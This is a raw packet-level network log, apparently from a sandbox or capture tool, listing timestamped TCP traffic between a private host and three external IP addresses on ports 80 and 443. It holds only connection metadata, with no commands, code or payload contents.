Sep 11, 2024 16:22:19.359033108 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.359044075 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.359044075 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.359416962 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.360011101 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360146046 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360155106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360161066 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360167027 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360172987 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360183954 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360210896 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.360210896 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.360364914 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360371113 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360492945 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360497952 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360507965 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360512972 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360518932 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360526085 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360536098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360538960 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.360538960 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.360542059 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360554934 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360574007 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.360574007 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.360599041 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360605001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360615015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360620975 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.360635042 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.360635042 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.362469912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.363401890 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.363444090 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.373758078 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.373764038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.373775959 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.373807907 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.373866081 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.373872042 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.373883009 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.373888969 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.373905897 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.373929024 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.400423050 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.400509119 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.401920080 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.401974916 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.402529001 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.402580976 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.405843019 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.405848026 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.405857086 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.405863047 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.405868053 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.405874968 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.405886889 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.405896902 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.405898094 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.405903101 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.405910969 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.405914068 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.405931950 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.405953884 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.406022072 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406028986 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406039953 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406044960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406055927 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406059980 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406060934 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.406065941 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406075954 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406088114 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406095982 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.406099081 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406105042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406115055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406119108 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.406133890 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.406644106 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406656981 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.406682014 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.406806946 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406847000 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406855106 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406883955 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.406891108 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406896114 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406907082 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406913996 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.406929016 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.406951904 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.407361984 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407372952 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407387972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407393932 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407399893 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407406092 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407411098 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.407438040 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407438993 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.407444954 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407474995 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.407694101 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407699108 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407737970 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.407741070 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407746077 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407756090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407782078 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.407809973 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407814980 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407824993 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407830954 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407841921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407846928 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.407847881 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407862902 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.407876968 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.407979965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407985926 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.407995939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408000946 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408008099 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408014059 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408016920 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.408020020 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408034086 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.408051968 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.408078909 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408085108 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408094883 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408101082 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408118963 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.408140898 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.408158064 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408164024 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408169985 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408190966 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.408214092 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.408370018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408382893 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408392906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408399105 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.408422947 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.408442974 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.409096003 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.409101963 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.409111023 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.409142971 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.409159899 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.409164906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.409174919 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.409185886 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.409193993 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.409199953 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.409205914 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.409213066 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.409233093 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.409239054 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.409245014 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.409255028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.409274101 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.409293890 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.409307003 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.409312010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.409317970 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.409337997 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.409360886 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.410191059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.410196066 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.410202026 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.410233974 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.410262108 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.410269022 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.410274029 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.410279036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.410288095 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.410303116 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.410751104 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.413305998 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.413362026 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.413772106 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.413822889 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.414304972 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.414354086 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.414804935 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.414855003 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.415335894 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.415390015 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.416126966 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.416177034 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.432914019 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.432919979 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.432930946 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.432950020 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.432955027 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.432981968 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433000088 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433006048 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433007002 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433032036 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433068037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433073044 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433084011 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433089972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433100939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433106899 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433108091 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433125019 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433140993 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433162928 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433168888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433177948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433198929 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433213949 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433558941 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433564901 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433574915 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433579922 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433585882 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433592081 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433603048 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433608055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433607101 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433619022 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433631897 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433638096 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433643103 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433648109 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433657885 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433659077 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433665037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433675051 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433675051 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433696032 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433717966 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433774948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433780909 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433790922 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433795929 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433803082 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433813095 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433814049 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433820963 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433830976 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.433840990 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433856964 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.433871031 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.434916019 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.434920073 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.434930086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.434953928 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.434959888 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.434990883 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.434990883 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.435013056 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.435018063 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.435028076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.435085058 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.435085058 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.437949896 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.437956095 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.437967062 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.437972069 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.437978029 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.437983990 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.437995911 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.438003063 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.438029051 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.438065052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.438070059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.438085079 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.438088894 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.438091993 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.438103914 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.438108921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.438110113 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.438121080 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.438127041 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.438134909 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.438144922 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.438483000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.438524008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.438534021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.438541889 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.438612938 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.438617945 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.438627958 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.438633919 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.438647032 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.438673019 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.438673019 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.438823938 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.438828945 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.438878059 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.438884020 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.438894033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.438920021 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.438920021 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.438976049 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.438981056 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.438992023 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.439034939 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.439034939 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.439104080 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.439109087 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.439120054 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.439224005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.439230919 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.439265966 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.439269066 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.439269066 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.439271927 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.439285040 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.439318895 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.439318895 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.439481974 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.439487934 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.439496994 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.439503908 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.439510107 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.439516068 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.439552069 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.439552069 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.441288948 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441294909 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441304922 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441334009 CEST	49736	80	192.168.2.4	176.113.115.33
